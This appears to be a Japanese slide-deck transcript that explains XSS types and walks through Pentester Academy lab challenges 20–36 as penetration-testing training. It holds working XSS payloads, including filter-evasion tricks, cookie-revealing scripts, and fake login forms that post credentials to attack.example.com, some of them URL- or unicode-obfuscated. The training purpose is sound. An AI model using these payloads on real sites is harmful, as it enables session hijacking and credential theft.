web applicationpenetrationtest その5
TRANSCRIPT
1 /84
Web Application Penetration Testその 5 問題 + 解答長谷川
2 /84
1. Web アプリのペネトレーションテストのスキルアップペンテスト(侵入テスト)の MOOC サイトの問題をガンガン解いていきます。http://www.pentesteracademy.com/その 1.pptx Challenge 1 ~ Challenge 7 : 認証突破その 2.pptx Challenge 8 ~ Challenge 11 : セッション ID 突破その 3.pptx Challenge 12 ~ Challenge 15 : トラフィック解析その 4.pptx Challenge 16 ~ Challenge 19 : HTML injectionその 5.pptx Challenge 20 ~ Challenge 36 : XSSその 6.pptx 以降 Unvalidated Redirects 、 CSRF
つづく
目的
Wikipedia よりMassive Open Online Course (MOOC 、ムーク ) はインターネット上で誰もが無料で受講できる大規模な開かれた講義のことである。
3 /84
ツール、言語◦ Burp Suite の詳細はその 4.pptx 参照◦ その他のツールの説明はその 1.pptx ~その 3.pptx 参照。
XSS : Cross-site Scripting (前提知識) 問題 & 解き方 & 解答
もくじ
4 /844
問題Pentester Academy の無料の問題からいくつか出題
5 /84
情報収集: Reconnaissance◦ 情報を収集する。(データフロー、フィンガープリント、ソース)
Wireshark 、 Blind Elephant 、 httprint
マッピング: Mapping◦ ターゲットアプリケーションの検査。
Burp Spider 、 SprAJAX 、 WebScarab
発見: Discovery◦ ターゲットアプリケーションの脆弱性の発見。
エクスプロイト: Exploit◦ 脆弱性を実証する。
問題の解き方
SANS SEC542 より
6 /846
XSS : Cross-site Scripting(前提知識)問題を解く前に前提知識の勉強。
7 /84
XSS という脆弱性の位置付け。XSS : Cross Site Scripting (前提知識)
XSS はその 4.pptx のinjection 攻撃の一つ。
共通脆弱性タイプ一覧 CWE 概説https://www.ipa.go.jp/security/vuln/CWE.html
8 /84
攻撃者のスクリプトを標的サイト上のスクリプトとしてユーザーに実行させる攻撃。 発生条件① 信頼されないデータが request から Web アプリケーションに入力される。② ①のデータをもとにして動的に Web ページが生成される。③ 動的に生成されるページ上で実行可能なコンテンツ( Javascript 、 Flash 等)を含めることができる。④ ユーザーは①②③で生成された Web ページにアクセスする。⑤ ユーザーの Web ブラウザが④の Web ページを要求した Web サーバーのドメインとして実行する。
XSS :概要
攻撃者Webサーバー
Requestユーザー Web ページResponse ( Web ページ)
ユーザー
Request+ 攻撃スクリプトアクセスさせるRequest ( + 攻撃スクリプト)Response ( Web ページ + 攻撃スクリプトの実行)
Web ページ
通常の動作
XSS の動作例
9 /84
XSS :タイプType 1 Reflected XSS反射型 XSS
Non-Persistent非永続的
ユーザーの request に攻撃スクリプトを注入し、Web サーバーが生成した Web ページをユーザーがブラウザ等で開くときに攻撃が実行される。前ページの「 XSS の動作例」の動作。標的型攻撃でよく利用される。
Type 2 Stored XSS格納型 XSS
Persistent永続的
攻撃スクリプトを標的サイトのデータベース、フォーラム、ログ等に格納しておく。ユーザーがサイトにアクセスすると攻撃が実行される。
Type 0 DOM-Based XSSDOM ベース XSS
ユーザー側(ブラウザ等)で動的 Web ページを生成するスクリプトに攻撃スクリプトを注入する。Web サーバーからの response をもとに、ブラウザが動的に Web ページを生成すると攻撃が実行される。 (参考) CWE における XSS の定義
http://cwe.mitre.org/data/definitions/79.html
10 /84
XSS :例 1 Reflected XSS HTTP GET の user パラメーターに基づき、 Web ページに Welcome メッセージを表示する(動的な Webページ生成)。PHP のコード( welcome.php )
$username = $_GET['user'];echo '<div class="header"> Welcome, ' . $username . '</div>';
攻撃スクリプト例①( user に下線赤字のパラメーター(攻撃スクリプト)を設定)http://trustedSite.example.com/welcome.php?user=<Script Language="Javascript">alert("You've been attacked!");</Script>
上記は単にポップアップが表示されるだけ。攻撃者は上記の URL を偽装してメール送信したりする(標的型攻撃)。次のスライドにもう少し攻撃的な例を示す。
11 /84
XSS :例 1 Reflected XSS攻撃スクリプト例②( user に下線赤字のパラメーター(攻撃スクリプト)を設定)http://trustedSite.example.com/welcome.php?user=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><input type="submit" value="Login"/></form></div>
上記はログインフォームを生成する攻撃スクリプト。入力した内容を攻撃者に送信する攻撃スクリプトも追加し、ユーザーが攻撃用ページと気付かずユーザー名 / パスワードを入力すると、攻撃者に情報を知られてしまう。
Web ブラウザの画面
12 /84
XSS :例 1 Reflected XSS攻撃スクリプト例③( user に下線赤字のパラメーター(攻撃スクリプト)を設定)http://trustedSite.example.com/welcome.php?user=%3Cdiv+id%3D%22stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A+%3Cinput+type%3D%22password%22+name%3D%22password%22+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A
上記は攻撃スクリプト例③と同様の攻撃スクリプトをエンコードしたもの。URL が怪しいと気付かれないように、 URL はエンコード等して難読化されることが多い。
攻撃スクリプト例④( user に下線赤字のパラメーター(攻撃スクリプト)を設定)http://trustedSite.example.com/welcome.php?user=<script+type="text/javascript">document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>
13 /84
XSS :例 2 Reflected XSS HTTP request から従業員 ID eid を取得し、表示する。
JSP のコード例<% String eid = request.getParameter("eid"); %>...Employee ID: <%= eid %>
上記は、 eid が英数字のみを含む場合は正しく動作する。スクリプトを含む場合は攻撃スクリプトが Web ブラウザで実行される。
ASP.NET のコード例...protected System.Web.UI.WebControls.TextBox Login;protected System.Web.UI.WebControls.Label eid;...EmployeeID.Text = Login.Text;... (HTML follows) ...<p><asp:label id="eid" runat="server" /></p>...
14 /84
XSS :例 3 Stored XSS ユーザーが指定した ID の従業員を DB で照会し、名前を出力する。
表示する name はアプリケーションで管理されている DB のデータなので安全そうに見える。しかし、 name の生成方法がユーザーが指定の eid に基づく場合、 DB に攻撃スクリプトを仕込み、そのスクリプトを呼び出すことで攻撃が引き起こされる可能性がある。
JSP のコード例<%... Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("select * from emp where id="+eid); if (rs != null) { rs.next(); String name = rs.getString("name");%>
Employee Name: <%= name %>
15 /84
IPA のセキュア・プログラミング講座等を参照。攻撃手法を学ぶことも重要。 IPA のセキュア・プログラミング講座内容は古いが結構参考になる。https://www.ipa.go.jp/security/awareness/vendor/programmingv2/index.html
Exploit Database各種 injection 攻撃をはじめとした実際の攻撃コードのデータベース。https://www.exploit-db.com/
CWE ( Common Weakness Enumeration )各種脆弱性の分類情報と実例、対策が書いてある。http://cwe.mitre.org/data/definitions/79.html
その他チートシート等。今回の問題はほぼチートシートを参考にして解いた。結構試行錯誤しています。ツールとか AI とか使えばもっと楽だったかも。https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheethttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheethttp://brutelogic.com.br/blog/cheat-sheet/
XSS の対策
16 /8416
問題を解いていくChallenge 20 ~ Challenge 36
(重要)セキュリティレベルを最弱にした IE11 でやりました。セキュリティレベルが高いとかブラウザによっては想定動作にならないかも。
17 /84
Challenge 20: XSS http://pentesteracademylab.appspot.com/lab/webapp/xss/1
目的◦ XSS を使い、 alert で cookie を表示する。
問題 1
Fetchボタンを押すと、テキストボックスに入力したテキストが表示される。
18 /84
情報収集: Reconnaissanceソースを見るとただ表示しているだけ。
解き方
Cookie はこんな感じで送られてくる。
19 /84
情報収集: Reconnaissance使えるタグ、スクリプトを特定するためいろいろ入力する。入力候補は XSSチートシートから適当にピックアップ。
解き方
入力 結果<script>alert(1)</script> <script>alert(1)</script><iframe src=javascript:alert(1)> <iframe src=javascript:alert(1)><iframe src="" onfocus="alert(1)"> <iframe src="" onfocus="alert(1)"><iframe src="" onmouseout="alert(1)"> <iframe src=""
onmouseout="alert(1)">iframe + イベントの組み合わせで任意のスクリプトが実行可能とわかった。イベントメソッドに JavaScript を注入できる。
(参考) HTML Event Attributeshttps://www.w3schools.com/tags/ref_eventattributes.asp
こんな感じでポップアップが表示される。あとは Cookie を表示してやればよい。
20 /84
マッピング: Mapping 発見: DiscoveryJavaScript では document.cookie で document の cookie を取得可能。(参考) Web API インターフェースhttps://developer.mozilla.org/ja/docs/Web/API/Document
解き方
前スライドの結果と合わせるとこのような攻撃スクリプトが考えられる。攻撃スクリプトの一例<iframe src="" onmouseout="alert(document.cookie)">
21 /84成功!
iframe領域からマウスポインタを離すとポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。
パケットの cookie
XSS で表示した cookie
22 /84
Challenge 21: XSS II http://pentesteracademylab.appspot.com/lab/webapp/xss/1
目的◦ XSS を使い、 alert で Cookie を表示する。
ヒント◦ img タグを使う。
問題 2
Sendボタンを押すと、テキストボックスに入力したテキストが表示される。
23 /84
情報収集: Reconnaissanceソースを見ると、こうなっている。
解き方
js の部分 <script>function click123(event){ term = this["usermsg"].value $.post("/lab/webapp/xss/2",{message:term}, function( data ) { $( ".chatbox" ).append( data );});}</script>
HTML の部分 <div style="width:450px;height:300px" class="form-signin" > <h2 class="form-signin-heading">Safe Echo Chat v1.0</h2> <div style="width:400px;height:150px;overflow:auto;" class="chatbox" > </div> <br> <input name="usermsg" type="text" id="usermsg" size="10" /> <input name="submitmsg" type="submit" id="submitmsg" value="Send" onclick="click123()" class="btn btn-large btn-primary" /> </div>
画面の構成はシンプル
② テキストボックス③ボタン
①チャット
④Sendボタンを押すと動作する JavaScript
①
② ③
Sendボタンがクリックされると js の click123 が呼ばれる。click123 はテキストボックスの値を POST している。詳細は次スライド。
24 /84
情報収集: Reconnaissancejs の部分の詳細。このページでは、 jQuery を使っている。append() 、 post() は jQuery の関数。
解き方
js の部分 <script>function click123(event){ term = this["usermsg"].value $.post("/lab/webapp/xss/2",{message:term}, function( data ) { $( ".chatbox" ).append( data );});}</script>
(参考) jQuery の post APIhttps://api.jquery.com/jQuery.post/
①term に usermsg の値を代入②key=message, value=term を/lab/webapp/xss/2 に POST し、③response が返ってきたら 応答データを chatbox に連結。
25 /84
情報収集: Reconnaissanceまとめ
解き方WebサーバーHTML js
②usermsg に test を代入。onclick を呼び出し。
①文字入力( test )、Send クリック
ユーザー
③key=message 、value=test で POST 。Request
Response④response をchatbox に結合
※request/response は実際のパケット
⑤結果
26 /84
情報収集: Reconnaissance使えるタグ、スクリプトを特定するためいろいろ入力する。入力候補は XSSチートシートから適当にピックアップ。 img タグ中心に精査。
解き方
入力 Response データ<img src="" onerror="alert(1)"> <img src="" deletederror="alert(1)"><img ""> <img ""><img src="javascript:alert(0);"> <img src="javascript:alert(0);"><img """><script>alert(1)</script>"> <img """><script>alert(1)</script>">
前と同じイベントを使う方法は対策済み。Malformed IMG tag が使用できた。
(参考) XSS Filter Evasion Cheat Sheet / Malformed IMG tagshttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
こんな感じでポップアップが表示される。あとは Cookie を表示してやればよい。
27 /84
マッピング: Mapping 発見: Discoveryjs では document.cookie で document の cookie を取得可能。(参考) Web API インターフェースhttps://developer.mozilla.org/ja/docs/Web/API/Document
解き方
前スライドの結果と合わせるとこのような攻撃スクリプトが考えられる。攻撃スクリプトの一例<img """><script>alert(document.cookie)</script>">
28 /84成功!
前スライドの攻撃スクリプトを Sendするとポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。
パケットの cookie
XSS で表示した cookie
29 /84
Challenge 22: XSS IIIhttp://pentesteracademylab.appspot.com/lab/webapp/xss/4
目的◦ XSS を使い、 alert で Cookie を表示する。
問題 3
ドロップダウンリストから車メーカーを選択し、Submitボタンを押すと、車の台数が表示される。
30 /84
情報収集: Reconnaissanceソースを見るとドロップダウンリストから選択した「 BMW 」をそのまま表示していると思われるところが 2箇所ある。
解き方
Request パケット
Request パケットの Key=product の値に攻撃スクリプトを注入する。
31 /84
マッピング: Mapping 発見: Discoveryproduct をコメントを終端する攻撃スクリプトに書き換える。
解き方
書き換えには Burp Sute を使う。Burp Proxy の使い方はその 4.pptx 参照。
このような攻撃スクリプトが考えられる。攻撃スクリプトの一例--><input onmouseout="alert(document.cookie)">
32 /84成功!
前スライドの攻撃スクリプトを注入するとテキストボックスが表示され、テキストボックスからマウスを離した時にポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している
パケットの cookie
XSS で表示した cookie
33 /84
Challenge 23: XSS IV http://pentesteracademylab.appspot.com/lab/webapp/xss/5
目的◦ XSS を使い、 alert で Cookie を表示する。
問題 4
テキストを入力してFetchボタンを押すと検索結果が表示される。
34 /84
情報収集: Reconnaissanceソースを見るとただ表示しているだけ。
解き方Request POST
ソース
request の値をそのまま value に設定している。
35 /84
マッピング: Mapping 発見: Discoveryvalue を終端し、 cookie を表示する攻撃スクリプトを入力する。
解き方
このような攻撃スクリプトが考えられる。攻撃スクリプトの一例"><script>alert(document.cookie)</script>
<input type="text" value=""><script>alert(document.cookie)</script> ...となって、 alert で cookie が表示される。
36 /84成功!
前スライドの攻撃スクリプトを Fetchするとポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。
パケットの cookie
XSS で表示した cookie
37 /84
Challenge 24: XSS V http://pentesteracademylab.appspot.com/lab/webapp/xss/6
目的◦ XSS を使い、 alert で Cookie を表示する。
問題 5
グラフが表示されるページ。
38 /84
情報収集: Reconnaissanceソースを見る Google Chart API でグラフを作成している。
解き方
怪しい短縮 URL がソース内にあった。 復元すると下記の XML ファイルになる。http://demofilespa.s3.amazonaws.com/chart.xml
この XML ファイルから表示するグラフを生成している。そのまま表示される legent タグに攻撃スクリプトを注入する方向で検討。
filename を指定する必要があるみたい。
39 /84
マッピング: Mapping 発見: Discovery攻撃スクリプトの例。注意点としては、「 < 」、「 > 」をエンコードしないと XML エラーになるということ。
解き方
こんな感じで XML ファイルを渡すことができた。AWSや Dropbox を使って直リンでファイルを渡す。http://pentesteracademylab.appspot.com/lab/webapp/xss/6?filename=https://dl.dropboxusercontent.com/s/XXXXXXXX/chart.xml URL はダミーです。ファイルは自分でアップロードしてください。
40 /84成功!
前スライドの攻撃スクリプトを注入した URL にアクセスすると、ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。
パケットの cookie
XSS で表示した cookie
41 /84
Challenge 25: XSS VI http://pentesteracademylab.appspot.com/lab/webapp/xss/7
目的◦ XSS を使い、 alert で Cookie を表示する。
問題 6
ファイルを選択し、Submitボタンを押すと、ファイル名が表示される。
42 /84
情報収集: Reconnaissanceソースを見るとただ表示しているだけ。
解き方Request POST
実際にファイルをアップロードしている。表示しているファイル名は filename から取得していると予想。 ⇒ filename に攻撃スクリプト注入する。ソース
43 /84
マッピング: Mapping 発見: DiscoveryWindows だとファイル名にスクリプトを設定できないので、 Burp Proxy を使い、 request の filename を書き換える。 Burp Proxy の使い方はその 4.pptx 参照。
解き方
このような攻撃スクリプトが考えられる。攻撃スクリプトの一例<script>alert(document.cookie)</script>
ファイル名を攻撃スクリプトに書き換え。
44 /84成功!
前スライドの攻撃スクリプトを注入するとポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。
パケットの cookie
XSS で表示した cookie
45 /84
Challenge 26: XSS VII http://pentesteracademylab.appspot.com/lab/webapp/xss/8
目的◦ XSS を使い、 alert で Cookie を表示する。
問題 7
テキストボックスに入力してFetchボタンを押すと、テキストが表示される。
46 /84
情報収集: Reconnaissanceソースを見ると非表示データとして時刻を POST 送信、表示している。
解き方
Request パケット
テキストボックス
Fetchボタン
Fetchボタンを押すと実行されるJavaScript時刻を取得し、 time_input に設定する。
テキストボックスに入力した "test" 以外に time_input として時刻が送信されている。key=search, value=test key=time_input, value=現在時刻
↑送信した時刻が設定されている
※hidden はセキュリティ的に使わない方がよいhttps://www.ipa.go.jp/security/index.html
47 /84
マッピング: Mapping 発見: Discoveryinput タグを終端する攻撃スクリプトで time_input を書き換える。
解き方
Burp Proxy の使い方はその 4.pptx 参照。
このような攻撃スクリプトが考えられる。攻撃スクリプトの一例"><script>alert(document.cookie)</script>
48 /84成功!
前スライドの攻撃スクリプトを注入するとポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。
パケットの cookie
XSS で表示した cookie
パケットの time_input
49 /84
Challenge 27: XSS VIIhttp://pentesteracademylab.appspot.com/lab/webapp/xss/10
目的◦ XSS を使い、 alert で Cookie を表示する。
問題 8
テキストボックスに入力してPreviewボタンを押すと、入力したカラーコードの色が表示される。
50 /84
情報収集: Reconnaissanceソースを見るとテキストボックスの入力値を value 、 background-color に設定している。
解き方
カラーコードを表示しているボタン
value を終端し cookie を表示する攻撃スクリプトを注入する。
テキストボックスと Previewボタン
51 /84
情報収集: Reconnaissance「 < 」と「 > 」はエスケープ、サニタイジングされているので、タグを使わない方向でいく。
解き方入力 Response データ
"><script>alert(document.cookie)</script>
"><script>alert(document.cookie)</script>
⇒「 < 」と「 > 」が「 < 」と「 > 」に置き換え(エスケープ、サニタイジング)されている。
"onmouseout="alert(document.cookie)" "onmouseout="alert(document.cookie)"攻撃スクリプト注入後のソース。
52 /84成功!
前スライドの攻撃スクリプトを注入するとテキストボックス、カラーコードボタンからマウスを話した時にポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。
パケットの cookie
XSS で表示した cookie
53 /84
Challenge 28: XSS IX http://pentesteracademylab.appspot.com/lab/webapp/xss/11
目的◦ XSS を使い、 alert で Cookie を表示する。
問題 9
テキストボックスに入力してPreviewボタンを押すと、入力したカラーコードの色が表示される。( Challenge 27 と同じ)
54 /84
情報収集: Reconnaissanceソースを見るとテキストボックスの入力値を value 、 background-color に設定している。
解き方
カラーコードを表示しているボタン
value を終端し cookie を表示する攻撃スクリプトを注入する。
テキストボックスと Previewボタン
55 /84
情報収集: Reconnaissance「 < 」と「 > 」はエスケープ、サニタイジングされているので、タグを使わない方向でいく。
解き方入力 Response データ
"><script>alert(document.cookie)</script>
"><script>alert(document.cookie)</script>"⇒「 < 」と「 > 」が「 < 」と「 > 」に置き換え(エスケープ、サニタイジング)されている。
" onmouseout="alert(document.cookie)" " deletedmouseout="alert(document.cookie)""イベントハンドラも対策済み。" oncontextmenu="alert(document.cookie)"
" oncontextmenu="alert(document.cookie)"
(参考) XSS Filter Evasion Cheat Sheet / Event Handlershttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
イベントハンドラを全部試した。
56 /84成功!
前スライドの攻撃スクリプトを注入するとカラーコードボタンを右クリックした時にポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。
パケットの cookie
XSS で表示した cookie
57 /84
Challenge 29: XSS Xhttp://pentesteracademylab.appspot.com/lab/webapp/xss/10
目的◦ XSS を使い、 alert で Cookie を表示する。◦ 開発者が開発中のページを公開してしまったシチュエーション。
問題 10
テキストボックスに入力してFetchボタンを押すと、何かを検索するっぽい。
58 /84
情報収集: Reconnaissanceソースを見ると、入力されたテキストをデバッグ用の関数で出力している。
解き方
入力された文字を出力。
Chrome のデベロッパーツール
"test" と入力すると、 test と出力される。
(参考) JavaScript Outputhttps://www.w3schools.com/js/js_output.asp
59 /84
マッピング: Mapping 発見: Discovery何が入力されてもノーチェックのため、何でも実行可能。
解き方
このような攻撃スクリプトが考えられる。攻撃スクリプトの一例alert(document.cookie)
フロントエンドの場合はデバッグコードをきちんと消しておきましょう!
60 /84成功!
前スライドの攻撃スクリプトを注入するとポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。
パケットの cookie
XSS で表示した cookie
61 /84
Challenge 30: XSS XIhttp://pentesteracademylab.appspot.com//lab/webapp/xss/13
目的◦ XSS を使い、 alert で Cookie を表示する。
問題 11
テキストボックスに入力してFetchボタンを押すと、何かを検索するっぽい。
62 /84
情報収集: Reconnaissanceソースを見ると、入力されたテキストを表示しているだけ。
解き方
入力された文字を表示しているだけ。
63 /84
情報収集: Reconnaissance使えるタグ、スクリプトを特定するためいろいろ入力する。入力候補は XSSチートシートから適当にピックアップ。
解き方
入力 Response データ<script>alert(document.cookie)</script> <>alert(document.cookie)</><input onmouseout=alert(1)> <input onmouseout=alert(1)>
(参考) XSS Filter Evasion Cheat Sheet / Miscellaneous Vectorshttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
script タグがエスケープ、サニタイジングされるので、他のタグ+イベントを使う。このような攻撃スクリプトが考えられる。攻撃スクリプトの一例<input onmouseout=alert(document.cookie)>
64 /84成功!
前スライドの攻撃スクリプトを入力するとテキストボックスが表示される。テキストボックスからマウスを離した時にポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。
パケットの cookie
XSS で表示した cookie
攻撃スクリプトで作成したテキストボックス
65 /84
Challenge 31: XSS XIIhttp://pentesteracademylab.appspot.com//lab/webapp/xss/14
目的◦ XSS を使い、 alert で Cookie を表示する。
問題 12
テキストボックスに入力してCheck User IDボタンを押すと、ユーザー ID をチェックするっぽい。
66 /84
情報収集: Reconnaissanceソースを見ると、入力されたテキストを表示しているだけ。
解き方
入力された文字を表示しているだけ。# またこのパターンか。
67 /84
情報収集: Reconnaissance攻撃スクリプトをいろいろ入力する。入力候補は XSSチートシートから適当にピックアップ。
解き方
入力 Response データ<script>alert(document.cookie)</script> <deleted>alert(document.cookie)</deleted>
<input onmouseout=alert(1)> <input onmouseout=alert(1)>
(参考) XSS Filter Evasion Cheat Sheet / Miscellaneous Vectorshttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
script タグがエスケープ、サニタイジングされるので、他のタグのイベントを使う。このような攻撃スクリプトが考えられる。攻撃スクリプトの一例<input onmouseout=alert(document.cookie)>
68 /84成功!
前スライドの攻撃スクリプトを入力するとテキストボックスが表示される。テキストボックスからマウスを離した時にポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。
パケットの cookie
XSS で表示した cookie
攻撃スクリプトで作成したテキストボックス
69 /84
Challenge 32: XSS XIIIhttp://pentesteracademylab.appspot.com//lab/webapp/xss/15
目的◦ XSS を使い、 alert で Cookie を表示する。
問題 13
URL を開くとログらしきものが表示されている。
70 /84
情報収集: Reconnaissanceダミーのログが表示されているかと思ったが、一部に Request データが表示されている。
解き方
User-Agentヘッダーに攻撃スクリプトを注入する。
Web ページ
送信 Request パケットの User Agentヘッダー。Request データの User-Agentヘッダー。
71 /84
マッピング: Mapping 発見: DiscoveryUser-Agentヘッダーに攻撃スクリプトを注入する。
解き方
このような攻撃スクリプトが考えられる。攻撃スクリプトの一例<script>alert(document.cookie)</script>
User-Agentヘッダーを攻撃スクリプトに書き換え。
Burp Proxy の使い方はその 4.pptx 参照。
72 /84成功!
前スライドの攻撃スクリプトを注入するとポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。
パケットの cookie
XSS で表示した cookie
73 /84
Challenge 33: XSS 14http://pentesteracademylab.appspot.com/lab/webapp/xss/16
目的◦ XSS を使い、 alert で Cookie を表示する。
問題 14
XML ファイルの URL を入力してNextボタンを押すとユーザーを検索するみたい。指定された xml ファイルが表示される。
XML ファイルは「 filetype:xml 」で google 検索して出てきたものを適当に入れた。
74 /84
情報収集: Reconnaissanceソースを見ると、入力された URL を iframe で表示しているだけ。
解き方
最近のブラウザは XSS対策が強化されていて、XSS XML で検索して出てきた様々な XSS 用 XML を入れましたが全部ダメでした!⇒最近のブラウザは XSS対策が強化されているため、こういうこともある。 問題のページにも一部のブラウザでは動作しないと書いてあった。
(参考) XSS Filter Evasion Cheat Sheet / XML data island with CDATA obfuscationhttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
75 /84
Challenge 34: XSS 15http://pentesteracademylab.appspot.com/lab/webapp/xss/17
目的◦ XSS を使い、 alert で Cookie を表示する。
問題 15
何も表示されないページ。
76 /84
情報収集: Reconnaissanceソースを見ると JavaScript で下記の処理をやっている。
解き方localStrage は cookie のようなデータをブラウザに保存する仕組み。localStrage.getItem は指定した Key の値を返すメソッド。
(参考) Storage.getItemhttps://developer.mozilla.org/ja/docs/Web/API/Storage/getItem
Key=info の値が null だったら、ハッシュフラグメントを info に設定
Key=info の値を msg に設定Key=info の値が null でなかったら、
Key=info に攻撃スクリプトを設定する方向性。
77 /84
マッピング: Mapping 発見: DiscoverylocalStrage に div タグを終端する攻撃スクリプトを注入する。
解き方
このような攻撃スクリプトが考えられる。攻撃スクリプトの一例</div><input onmouseout=alert(document.cookie)><div>
IE の場合、 F12 開発者ツールを使い、コンソールから localStrage を書き換える。
78 /84成功!
前スライドの攻撃スクリプトを注入するとテキストボックスが表示される。テキストボックスからマウスを離した時にポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。
パケットの cookie
XSS で表示した cookie
79 /84
Challenge 35: XSS 16http://pentesteracademylab.appspot.com/lab/webapp/xss/18
目的◦ XSS を使い、 alert で Cookie を表示する。
問題 16
テキストボックスに入力してFetchボタンを押すと、何かを検索するっぽい。
80 /84
情報収集: Reconnaissanceソースを見ると、入力されたテキストを代入している。
解き方
入力された文字を代入している。ここに攻撃スクリプトを注入する。
試したところ「 " 」がエスケープされる。script ブロックを終了し、新規スクリプトブロックを開始する( Escaping JavaScript escape というテク)。このような攻撃スクリプトが考えられる。攻撃スクリプトの一例</script><script>alert(document.cookie);</script>
(参考) XSS Filter Evasion Cheat Sheet / Escaping JavaScript escapeshttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
81 /84成功!
前スライドの攻撃スクリプトを入力するとポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。
パケットの cookie
XSS で表示した cookie
82 /84
Challenge 36: XSS 16http://pentesteracademylab.appspot.com/lab/webapp/xss/18
目的◦ XSS を使い、 alert で Cookie を表示する。
問題 17
テキストボックスに入力してRenderボタンを押す。特に何も変わらない。
83 /84
情報収集: Reconnaissanceソースを見ると、入力されたテキストから「 . 」を除去して表示している。
解き方
「 . 」ドット演算子を使わずに、ブラケット演算子「 [ 」、「 ] 」で cookie変数を参照する。このような攻撃スクリプトが考えられる。攻撃スクリプトの一例<script>alert(document['cookie']);</script>
・入力<script>alert(document.cookie)</script>・ソース
84 /84成功!
前スライドの攻撃スクリプトを入力するとポップアップが表示される。ポップアップの中に cookie が表示される。実際に設定された cookie と一致している。
パケットの cookie
XSS で表示した cookie